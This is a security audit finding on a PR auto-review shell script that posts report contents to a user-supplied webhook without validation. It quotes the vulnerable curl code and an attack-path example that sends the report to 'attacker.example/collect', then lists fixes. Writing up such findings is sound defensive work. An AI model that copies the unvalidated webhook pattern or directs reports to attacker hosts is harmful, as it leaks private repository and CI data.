T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/pr-auto-review.sh:149
- Finding
- Unrestricted webhook destination enables SSRF and report disclosure<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pr-auto-review.sh`, lines 149–157 **Vulnerability Type**: Server-Side Request Forgery and sensitive metadata disclosure **Risk Level**: Medium ### Vulnerable Code ```bash # ── Phase 4: Discord Notification ───────────────────────────────── if [[ -n "$DISCORD_WEBHOOK" ]]; then echo "" >&2 echo "Sending to Discord..." >&2 # Discord webhook: content field max 2000 chars CONTENT=$(head -c 1900 "$REPORT") curl -s -X POST "$DISCORD_WEBHOOK" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1 echo "Discord notification sent." >&2 fi ``` ### Technical Analysis The value supplied through `--discord-webhook` is passed directly to `curl` without validating its scheme, hostname, port, or path. Although the option is described as a Discord webhook, the implementation permits HTTP requests to arbitrary attacker-selected destinations. The request body contains up to 1,900 bytes from the generated report. Depending on execution mode, this report can include private PR titles, authors, changed filenames, CI check output, branch details, and health-check results. Sending the report to an arbitrary endpoint exceeds the minimum network access required for the declared Discord notification functionality. ### Attack Path 1. An attacker gains control of, or influences, the arguments used to invoke the Skill. 2. The attacker supplies a destination such as: ```bash --discord-webhook http://attacker.example/collect ``` Alternatively, the attacker supplies an internal HTTP endpoint reachable from the execution host. 3. The script retrieves PR and CI metadata and performs the configured health checks. 4. The script constructs the report and sends its first 1,900 bytes in an HTTP POST to the attacker-selected destination. 5. The attacker receives repository or operational metadata, or uses the request to interact with an internal service ...[truncated 528 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Parse and validate the webhook URL before invoking `curl`. 2. Require HTTPS and allow only approved Discord hosts, such as `discord.com`. 3. Require the expected `/api/webhooks/` path structure. 4. Reject URLs containing embedded credentials, unexpected ports, fragments, or non-HTTPS schemes. 5. Prevent protocol changes and redirects: ```bash curl --proto '=https' --max-redirs 0 ... ``` 6. If non-Discord destinations are legitimately required, place them behind an explicit administrator-controlled allowlist rather than accepting arbitrary runtime input. 7. Minimize the transmitted report and omit private filenames, CI details, and health data unless explicitly required. 8. Check the HTTP result and report failures instead of always printing that the notification was sent. ]]>
